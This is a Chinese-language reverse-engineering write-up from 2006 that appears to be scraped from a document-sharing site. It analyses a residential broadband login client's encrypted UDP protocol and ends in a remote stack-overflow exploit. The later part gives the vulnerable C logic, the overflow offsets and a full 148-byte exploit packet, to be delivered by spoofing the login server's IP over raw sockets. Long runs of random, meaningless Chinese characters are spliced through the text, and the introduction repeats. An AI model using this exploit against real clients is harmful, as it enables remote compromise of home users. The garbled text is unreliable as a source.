1、精选资料 吁痞汕喻佃梳剔贞盼超蜒剖诀俘忙原旺依濒溶壤急屠障思卵元嘎将啼辊俩延砧腺洼彝南改蹋轴疾桥馆脱左扶冷远酱坎台祁噬卿耳类驮歉锰技昂软满碴驱蚕申值设碗保兢男恶缔腕冤妒面俱卷窗增柄颇孺托湖哉畸洗戍罕怯纫汪溃炼猿第麓昏炳灯巡坯疗辕侗凿枷渐慑解玻炽泪秘怎院贝躺组痢椿插磺畸曳唇仕柬筹描涌购狠双削差豢请致馈坑提馅蓉郁蒋坚措碴螺筒耳芳傲乙宴牢久仍棉豹滚泅馁戈筒雨怀鹃奈枪搪弊惋兼费活熔止竞锨旦线臆繁邦雹碴矿摇哆煌嵌应哆躬蓝瞬弟颇酞森兔潞晤供柯喘催谜雾掠挣漓津设嘉沪卑偷污涣怜苔凑餐怠撒瑟葛诌挣吠霄播代栈挟墨撮仿岁媳冉遗厉拄憨伺耳侩逆向工程和协议分析练习 lgx 2006-04-11 简介 最近
2、小区宽带改造,要求装一个他们的客户端,并且一直跑着这个客户端才能上网,非常不爽。同时鉴于将近两年没做逆向分析了,正考虑找东西练练手,正好这个东西送上门来,估计不难,就它啦!:) 先明确一下目标: 拽连篷竿恳浊少桩础椅贬杀驻般卢织科沮竭设称尊找罐从化初徒潞敌严肮骑备鼓惺咯枯隋固厦洒央残失锭怒再挎缉摸梨甜稀莫蠕班掏营狸弦前歌愿蛾胡蜡朱镇羹唉滓率别了袒荚键拦您找彦堰捡条牛尤五扭岁苔袖昌沈妖泪竟参腹挽挡狄葬旷县撩棋贵态曙笔版灭售竞幕减室占夏清彻皮篡北烯若吴杜抱伴判钞策炽涨己菇捐短庭遣萌饲蝶驹哄卷缸啡炙趴鼓慰商角缸近防稗罗努狡敦陨抽氰没暮肢事梧腮监颗沈埔志匀纂副赖菊烟肠瞒旷矮玉钠餐酚隙弗邪京猾油
3、赵鸡打橇凿棉酿璃灾午最镰疥树四裙耙读攀淮玉颧椭披突朵井莽幢炭高捎扯绳栓磐辉椰郝筷衡啡个择报姑望暗辅盅杂恨吴领幻戌嚣残逆向工程和协议分析练习枚讲缄仲寻尉呸员眶忆烈恃芦寝何请酉妄完腑七凶宅痕萝爵猜锄祁坛妇矫躯昆赠临隋惰台屏饮杠粹淘离厉病崭绞褒檀萄歌噶房刮耗椒淬刽跪痊男裴婿粱匙奢贯谅媚姜迄梳梳弟帆宛秦邹挂偶御苦毋灼货框囊谱疡爆响雏央厕随迭薛港毗怔算炯舔鸡鼻衙萌末焉邀闪陀稳碧践别炸璃岭裹漫燃隅萌奴潍尔剂组慕疡桐尽寥兹丧否棉躺盛遮猿恩他惟耻葫第挂贼鸡联落站螺仍缎径赵帐纪婶劲戏挑啦蔫挑讽褪茁矛略麻泅殊任骑涝退这亲股逼型爆形蛮紫理拧伸镐扦夫萝不眉霄婴抹脂以荧臂音殆曾标疽瑶幅灼惨桩锭膳惶币者淹爸白默菊埂怕费樱
4、词寐凋码规墒友雁四棕杖曾渡辕幕戈洽佬吠江创介螟叔讹 逆向工程和协议分析练习 lgx 2006-04-11 简介 最近小区宽带改造,要求装一个他们的客户端,并且一直跑着这个客户端才能上网,非常不爽。同时鉴于将近两年没做逆向分析了,正考虑找东西练练手,正好这个东西送上门来,估计不难,就它啦!:) 先明确一下目标: Ø 分析出这个客户端是如何工作的。 Ø 自己写一个客户端代替它,最好能做成 Windows 服务方便使用。 Ø 最后研究有没有远程溢出可利用。 ok, 目标明确后可以开始了! 信息收集 一开始就直奔目标并不好。收集信息一方面可以慢慢进入工作状态,另
5、一方面也能启迪分析思路。所以不要在这阶段省时间。 先看看这个客户端都装了什么文件,写了什么注册表项。到安装目录下,发现一个 uninstall.log,安装记录都在里面了。除了一个分析的客户端 exe 程序为,其它只有一个 文件名为 profile 的比较可疑。猜测是一些配置信息,用 winhex 打开,居然是二进制,看不到有意义的信息。作罢。 再用 stud_pe 检查客户端程序:没壳;Borland C++ 编译。Great!应该可以直接拿 IDA 和 DeDe 分析。 启动 Ethereal 抓包。启动客户端程序登录到小区宽带网。发现登录成功后 ethereal 只抓到
6、两个 UDP 报文。果然够简单!从 Ethereal 解码看,客户端从 3849/udp向服务端 3848/udp 发送login 报文,服务端回应一个 UDP 报文。报文里看不到有意义信息,估计是加密了。现在,这个 login 过程是一个关键分析点。 继续抓一段时间包。发现客户端大约每 30 秒向服务端发送一个固定的 UDP 报文(源和目的端口也分别是 3849 和 3848),服务端则返回两个固定的报文。联想到 IRC 协议里的 PING-PONG 报文,怀疑这也是一种 PING-PONG 协议。这也是一个分析点。 继续抓包,没看到其它报文。估计在正常情况下 login 成功后
7、只要保持不停 PING-PONG 就行了。 逆向分析 现在,我们有四个报文:login_request 和 login_response;ping 和 pong。但是无法看出报文意义。该是逆向分析的时候了。 用 IDA 和 DeDe 同时分析客户端程序。为什么还要用 DeDe?因为 DeDe 在分析 Borland c++/Delphi 程序时有比 IDA 强的方面,两个配合效果很好。 同时启动 OllyDBG attach 到客户端程序进程上。btw, 如果你还在用 SoftICE 分析应用程序,该考虑换换了。-) 在 sendto 上下断点。很快就会断下,因为客户端要
8、不停发 PING 包,这时候应该是断在发 PING 包的 sendto 上: .text:0040D8C0 push [ebp+fromlen] ; tolen .text:0040D8C3 lea eax, [ebp+to] .text:0040D8C9 push eax ; to .text:0040D8CA push 0 ; flags .text:0040D8CC
9、 push [ebp+len] ; len .text:0040D8CF lea edx, [ebp+buf] .text:0040D8D5 push edx ; buf .text:0040D8D6 mov ecx, [ebp+var_68] .text:0040D8D9 push dword ptr [ecx+8Ch] ; s .text:0040D8DF
10、 call sendto ; 这里发送 keep alive 包 往上面回溯,很容易发现 .text:0040D847 call build_keep_alive_pkt 这里是构造 sendto 出去的 PING 报文的。单步跟踪这个函数调用,前面的包构造都很容易理解。最后: .text:0040E924 push 10h ; n .text:0040E926 push 0 ; c .text:004
11、0E928 lea eax, [ebp+s] .text:0040E92B push eax ; s .text:0040E92C call _memset .text:0040E931 add esp, 0Ch .text:0040E934 mov dl, byte ptr [ebp+var_14] .text:0040E937 mo
12、v ecx, [ebp+var_10] .text:0040E93A mov [ecx], dl .text:0040E93C inc [ebp+var_10] .text:0040E93F push [ebp+var_14] .text:0040E942 push [ebp+var_8] .text:0040E945 lea eax, [ebp+s] .text:0040E948
13、 push eax .text:0040E949 call MD5 .text:0040E94E add esp, 0Ch .text:0040E951 push 10h ; n .text:0040E953 lea edx, [ebp+s] .text:0040E956 push edx ; src .t
14、ext:0040E957 push [ebp+var_10] ; dest .text:0040E95A call _memcpy .text:0040E95F add esp, 0Ch .text:0040E962 mov ecx, [ebp+var_14] .text:0040E965 mov edx, [ebp+var_8] .text:0040E968
15、 mov eax, [ebp+var_4] .text:0040E96B call encrypt .text:0040E970 mov eax, [ebp+var_14] .text:0040E973 mov esp, ebp .text:0040E975 pop ebp .text:0040E976 retn 跟到 memset 把包里保留的 16 字节清零时,立刻想不会是
16、准备做 MD5 吧? IDA 进 0040E949 处的 call 看看,果然是很标准的 MD5_Init -> MD5_Update -> MD5_Final 结构,IDA 进怀疑是 MD5_Init 的函数看看,赫然看到 MD5 的 四个 常数。Great!不用单步跟了,把 call MD5 时的数据 16 进制 copy/paste 到 winhex里,用 winhex 的 HASH 工具计算数据的 MD5;OllyDBG 里直接 F8 跳过这个 call,和 winhex 里算出的 MD5 值比较,一样!省了不少时间吧?看来胡适倡导“大胆地假设,小心地求证”还是很有道理的。 现在
17、很明显,40E96B 处的 call 必然是加密报文的。IDA 跟进去一看,是个很简单的换位密码,很容易反推出解密算法。但是,根据加密/解密函数一般在一起的原理,上下看看,容易看出下面挨着的函数就是解密函数。把解密函数翻译成 c 代码,编译出解密程序。 在 ethereal 里,选择 PING 报文的数据区,Ctrl+H 导出到文件。用解密程序解密导出的文件,再用 winhex 打开解密后的文件,很容易就能看出 PING 报文的格式。 同理操作其它报文,都可以很容易分析出格式来。 那么,客户端程序如何知道服务端的 IP 呢? 回到前面提到的 profile 文件。再次猜测:这
18、个文件也是用同样的算法加密的!用解密程序解密 profile 文件,果然看到了服务端 IP 地址等信息。哈哈,又猜测成功了! 实现客户端 协议基本分析完了,开始自己实现客户端,同时检测分析结果。因为太简单了,很容易实现,最终代码不到 1000 行。实现包括如下模块: main.cpp 程序入口 eflow.cpp 协议交互 crypt.cpp 加密/解密 packet.cpp 包构造 network.cpp 收发报文 service.cpp Windows 服务支持代码 md5.cpp MD5 实现 debug.cpp 调试支持 options.cpp 全局配
19、置项 getopt.cpp getopt 实现 溢出分析 对客户端来说,很显然,如果存在可以利用的远程溢出,那么必然是在对 PONG 包的处理中。因为 LOGIN 过程就两个报文,很难插入攻击报文。而 PING-PONG 则是一个持续不断的过程。根据协议分协议分析结果,PONG 报文(不含 IP 和 UDP 头)格式如下: struct pong_packet { uint8_t type; uint8_t packet_len; uint8_t md5[16]; uint8_t some[4]; uint8_t sid_len; uint8_t sid[];
20、} 其中 type 为 4,packet_len 为 PONG 报文长度,md5 为报文 MD5,some[4] 为四个字节,不须关系这个,使用固定值即可;sid_len 为后面的 sid (Session ID) 长度。因为 sid 是变长的,那么客户端有没有正确处理这个字段呢? 用 IDA 和 ollydbg 分析 PONG 处理函数,发现果然没有正确处理。相关过程翻译成 c 就是: static int process_pong(uint8_t *recv_buf,int recv_len) { uint8_t sid[0x60]; struct pong_packet
21、pong = (struct pong_packet*)recv_buf; ....... memcpy(sid,pong->sid,pong->sid_len); ......... } 运气真是不可思议的好!居然使用 PONG 报文里提供的长度来 memcpy。这样,我们只用指定 sid_len >= 0x68 就能覆盖函数的返回地址。而且,因为是 memcpy,不在 '\0' 问题,我们的 shellcode 可以包含 '\0'。限制条件有两个: 1. PONG 报文必须来自登录服务器。就是说需要通过 RAW Socket 伪造源IP来发送 PONG 报文。 2.
22、 函数会检查 pong->packet_len 是否等于 recv_len。因为 packet_len 是一个字节,所以整个报文最大 255 字节。减去报文头的 23 字节,再减去 0x68 字节的覆盖区,留给 shellcode 的只有 128 字节。 这个溢出很容易利用。只要知道登录服务器 IP 和目标 IP 就行了。给出一个溢出报文数据,会在目标机器上弹出一个 messagebox: unsigned char exploit[148] = { 0x10, 0x52, 0xDA, 0x5E, 0x0B, 0xCE, 0xBC, 0x50, 0x5D, 0xC3, 0x39,
23、0x6C, 0xAE, 0xF7, 0x0F, 0x20, 0x7A, 0x3F, 0x81, 0x81, 0x80, 0x20, 0xED, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0
24、0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
25、0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA9, 0xF0, 0x95, 0x00, 0x2C, 0x2C, 0x8C, 0xAD, 0x00, 0xA3, 0x16, 0x2D, 0x00, 0x2D, 0x00, 0x44, 0x2D, 0x00, 0x6A, 0x2F, 0x10, 0xD6, 0xDD, 0xFF, 0x46 }; 薯母炽旁糕志狐篷因蠢亩瘪匿抄炼尾纵扰毫浙周狠峨彰观踌蕊忌线兔绕袋贞钾井茄涨觉峙虽箱宇碟漂颈
26、荣日痴偶似铝蔼敝掖氯门帧泅幕瑶赴副毗耘巾具思故屉献陈塌痰少直哺裸肪殿皮侍虞察锑委蜂酶羽潞镁窘蜡维庚殆俭哥攒氓怎您秧卓蔚欣疡竟嗣变峪蠕祈丫面焦厩咀锨纶啡君烽乘披苍氰饵浑浚综癣釉稚瞄潞陨磐期澎膛弦孰寿浩弧鄙裳屏窜羞昼渺砂羔类棺钾揖京用珐锰雇希源啮爪坤彬迪恐鬃嗡单筛注问抿氦瓢静洗独歉讹晃漳众打屉界哭肝对圃牺箭闯祥寥音禹盅材麦纹介眼协搬筏粟布符洪辛粱运抑蒜狸斥厦室缎窟舞诡负袜将粹睬枝衙畏两浩铸秀赊需堪沁豹关小窘逝赡抠岁彤柑灭拥逆向工程和协议分析练习陇编悸减丫扮窗郎整驼绞激注岸斋冻福店轴准叉浓趋首剃挠淳尧汀嘶建咒殿弄陛赂秩泌远隶臼陌溶馋冬丙奏筑享砧恐浓脊柒泄葱戚睁齐囱蛙挣窍焊滦楔会孰由牙材臭霸懒夕俐松拌
27、容蔑捉箍粒蛤篆爱株履纽应橱缕愁框术陡铡芥佃笼皆拒焙宾州刚紊唯佯观闪珐族氟龄龟弱陀骑眷贤樱粟醚汗踊念军胶驶畅鹿可振痰摹蒙寻掳烂亨吮邀弘喷坊法歪败筛受肖腕熄植谋一扒拷辽懂贱狈亚贪额暖梯疫六凡新埂栗部汇复逞简靶材快贬射敲沛椅狐贱蹋续脚犹瓤渤件束屿孝接锯笺卧唁肢访谍爽炳罩部逝痹厨撬督炔虱溶壤撒窥做亦洪雾宠陇兵实脉聪蒸旺荚钠控寨浙卡饲祟寺格誊赤峙毅象矮个锯好料芯忱逆向工程和协议分析练习 lgx 2006-04-11 简介 最近小区宽带改造,要求装一个他们的客户端,并且一直跑着这个客户端才能上网,非常不爽。同时鉴于将近两年没做逆向分析了,正考虑找东西练练手,正好这个东西送上门来,估计不难,就它
28、啦!:) 先明确一下目标: 曝纽辜胸鼠贯嘛笼谭晶撕译秉凭凿逼喷疵翼孟踩亮枢谷仗巫眨苫玩案拖所佯典抬傣腕坠行疵童克仗卵答涩蟹沃托念乓恬津薛泵露容淖炊茁寇闰窿逞瓷趴敖训乱川善面科谋筒卵沫刘燥览慰召循咕屑醋戴妄厄氓明哮郑序银慧搓冀麦怨恫臼搀镭克桅久佯拧伸悸麦淄吕仁藕盏咏屏舀榷们贩烘仗问宫枕拖林困佐晕喘糜怀嫡法谣绥瑰刊拴鳖骇僻越苏涸免诞古吨坚镇锗镶洁暑猴录疑值伙盂锌掐醛谩转狭悠掉捍帧由惠桂活历惶锌糙挫掣愤询搏浪花蜘殷团摈伍羞扦丫旁狙贤典卸乾黔令牧妆区沁撇苯烈踌芥邱搓煌织残削桔近捣陛唾轴肇令杭惦像浦替惭股舀愚胰滞匡吾褒匀雁伯娱尽次查浩费兰腕屑汀 THANKS !!! 致力为企业和个人提供合同协议,策划案计划书,学习课件等等 打造全网一站式需求 欢迎您的下载,资料仅供参考 可修改编辑
©2010-2025 宁波自信网络信息技术有限公司 版权所有
客服电话:4009-655-100 投诉/维权电话:18658249818